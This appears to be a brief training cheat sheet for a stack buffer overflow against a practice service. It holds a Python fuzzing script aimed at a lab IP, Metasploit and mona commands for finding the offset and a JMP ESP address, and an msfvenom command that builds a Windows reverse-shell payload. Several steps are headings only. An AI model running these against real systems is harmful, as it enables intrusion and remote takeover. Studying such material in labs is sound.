Buffer Overflows

Steps :

  1. Fuzzing

  2. Finding the Offset

  3. Overwriting the EIP

  4. Finding Bad Characters

  5. Finding the JMP ESP address

  6. Exploiting the System

1. Fuzzing

#!/usr/bin/python
# -*- coding: utf-8 -*-
#!/usr/bin/python

import sys, socket

buffer = "\x41" * 3000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.0.71', 9999))
s.send(('TRUN /.:/' + buffer))
s.recv(1024)
s.close()

2. Finding the Offset

Cmd :

  • msf-pattern_create -l 3000

  • msf-pattern_offset -q 386F4337

3. Overwriting the EIP

4. Finding the bad Characters

5. Finding the JMP ESP Instruction Address

To Find JMP ESP :

  • jmp -r esp

Alternate Way :

  • !mona modules

  • !mona find -s "\xff\xe4" -m essfunc.dll

6. Exploit

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.82 LPORT=4444 EXITFUNC=thread -f py -a x86 -b "\x00"

Last updated

Was this helpful?